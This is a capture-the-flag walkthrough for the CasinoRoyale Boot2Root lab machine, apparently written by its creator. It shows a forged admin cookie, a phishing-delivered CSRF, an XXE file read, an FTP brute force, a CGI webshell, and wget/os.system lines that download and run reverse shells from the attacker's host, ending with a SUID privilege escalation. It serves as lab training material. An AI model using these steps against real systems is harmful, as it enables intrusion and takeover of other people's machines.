Checkout SlayerLabs.com!
Networks Engineered to Exploit.
- Windows/UNIX - Domains/Subnets - Initial/Post/Lateral - Low Cost VPN Ranges -
Walkthrough
CasinoRoyale is another Boot2Root machine I’ve built targeted towards WebApp exploitation. I’ve received questions on prior B2R machines - specifically upon initial release, so decided to make an “official” walkthrough as this box has many steps. Located on vulnhub or google drive.
I’m sure there are additional ways to get root, so feel free to get creative. This box is targeted towards AppSec, along with shell and permission manipulation.
Note: Normally I’d be doing quite a bit more enumeration, but in this case I know what’s necessary to get root.
Upon an initial scan…
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
|_smtp-commands: casino.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
| ssl-cert: Subject: commonName=casino
| Subject Alternative Name: DNS:casino
| Not valid before: 2018-11-17T20:14:11
|_Not valid after: 2028-11-14T20:14:11
|_ssl-date: TLS randomness does not represent time
80/tcp open http
| http-robots.txt: 2 disallowed entries
|_/cards /kboard
|_http-title: Site doesn't have a title (text/html).
8081/tcp open blackice-icecap
It looks like FTP, SMTP, HTTP and another unique port or 8081 is open. Be sure to investigate any entries on robots.txt - some may be interesting..and some may be red herrings.
Using curl and dirb we investigate port 80 and 8081
curl http://10.25.1.51
curl http://10.25.1.51:8081
dirb http://10.25.1.51:8081
dirb http://10.25.1.51
Port 8081 contains PHP running something in collect.php, no hits on dirb - we’ll be putting this on the todo list. Port 80 contains quite a bit of directory hits including index.php. Investigating a bit it seems like a Poker tournament leaderboard - including some familiar characters.
High-stakes Poker
First, note the info mentions to use the domain of: casino-royale.local vs the ip. Update your /etc/hosts file to match this request (which may be needed for future exploits ;-)
At the bottom of the page a juicy chuck of info is found - Created with PokerMax Poker League Software. Running a quick searchsploit query brings up a compatible exploit:
Looks like this web app is vulnerable to Insecure Cookie Handling, which would allow anyone to login as Admin. Steps seem simple enough, go to casino-royale.local/pokeradmin/configure.php enter the following string into the url:
javascript:document.cookie = "ValidUserAdmin=admin";
Then go back to casino-royale.local/pokeradmin/configure.php and you should be logged in as admin. Simple right? Ok GO!
After clicking around investigating the admin gui, a hint is found within the profile or user: Valenka. The hint contains a new URI. Side note - it may be possible to inject some malicious PHP code into any of the fields present in the browser, depending on how sanitization is handled.
CMS Blog
After following the URI in Valenka’s profile, it seems we’re directed to a company blog. Clicking through the blog posts, dropdowns, etc, it’s discovered the CMS is SnowfoxCMS and the CMS admin has an email of valenka@casino-royale.local.
Doing a quick search for snowfox exploits, one appears as a Cross-Site Request Forgery that will add an arbitrary user as Admin.
With CSRF’s we need user interaction, specifically a Snowfox CMS Admin to go to our malicious link and click a button. According to a blog post, admin user Valenka checks her email for new clients and looks into any relevant links.
So there is “a user” opening email, clicking links and form submit buttons (cough cough).
We’ll copy the exploit, alter a few variables and host it on our kali apache server. Then send an email to valenka with our malicious link in the body. We’ll make sure to include a known reference in the subject line as requested. That way it won’t look like spam and “the user” should just click on random links in emails right?
Altered exploit:
Sending mail via telnet:
Tailing apache access log, gets a valid hit:
10.25.1.51 - - [24/Feb/2019:10:58:39 -0500] "GET /legit.html HTTP/1.1" 200 674 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4"
Now we’ll try to login as our new user, and boom admin:
Clicking around again, something juicy is found in Le’s profile - a new URI! Note: Using Snowfox to upload malicious files to get shell may be an other vector. I haven’t dug into that option though.
XML External Entities
Following this new URI, we’re brought to a simple page which, after investigating the source, looks like a possible XXE vulnerability. Lucky for us, the PHP code is in the comments. Using POST requests a user may be able to read from the file system.
Checkout this thorough guide into XXE - which basically outlines the exploit. After creating a bogus file, with the needed parameters which also includes a request to read file:///etc/passwd we run curl against this page to include the bogus file…
curl -d @xml.txt http://casino-royale.local/ultra-access-view/main.php
And we see the /etc/passwd file. Also another bit of info is located on main.php - the custom FTP account has a simple password. After checkout the /etc/passwd file we see a unique user:
Let’s see what port 21 can offer us….
FTP and Beyond
Running hyrda against FTP using the newly found username, a password is found.
Logging into FTP looks like we’re in a web directory. From here a shell can be uploaded, but are there restrictions on file types? Yes! And after a bit of testing, it looks like perl and cgi files types are allowed. Using the PUT command a cgi webshell is placed in this FTP we directory.
Testing this new shiny webshell out, we see it works:
http://casino-royale.local/ultra-access-view/cmd.cgi?cat /etc/passwd
From here a reverse shell can be uploaded using any file type using wget. I’ll create a python reverse shell on my local Kali box, then wget get from the cgi webshell, change permissions, create a listener and execute it.
# Adding this as the URI
/ultra-access-view/cmd.cgi?wget -O /var/www/html/ultra-access-view/shell7.py http://172.20.0.2/shell7.py
# Looking good in the access log
10.25.1.51 - - [24/Feb/2019:11:52:53 -0500] "GET /shell7.py HTTP/1.1" 200 520 "-" "Wget/1.18 (linux-gnu)"
Now giving it permissions, and executing it, a initial shell is obtained.
Working to Up Privs
At this point I’d usually be running enumeration scripts, poking around for something interesting, but in this case I’ll be locating that juicy php file found on port 8081 from our initial scan.
$ locate collect.php
/opt/casino-royale/collect.php
An interesting directory. Navigating to it, plenty of unique files with permissions are all over the place - specifically a SUID permission on a binary file: mi6-detect-test
The initial goal will be bump up privs to user le which can be done after noticing collect.php is executing a file we (www-data) have permissions to write to: casino-data-collection.py
So, after clicking the collect.php (owned by le) button, it will actually execute the python script(we have write perms to), outputing results to the browser. Easy right?
I’ll choose another python reverse shell. The collection script will wget my reverse shell, update permissions, then execute.
$ cat casino-data-collection.py
#!/usr/bin/env python
import os
os.system('wget http:172.20.0.2/casino/shell9.py; chmod 777 shell9.py; ./shell9.py')
Onto Root
Now we have a little more visibility into these files, specifically: closer2root.txt and run.sh. looking into run.sh we see it’s a home made script to check a few running resources on the system.
Testing this SUID binary, it looks like it’s just running the run.sh script, which we now have write access to. So just like the last hack, we can edit run.sh to contain another reverse shell or any system command as root. Since we already have 8 billion shells open, why not add another one?
This time a simple reverse bash shell will be added to run.sh, then execute mi6_detect_test as le.
Great, root is had.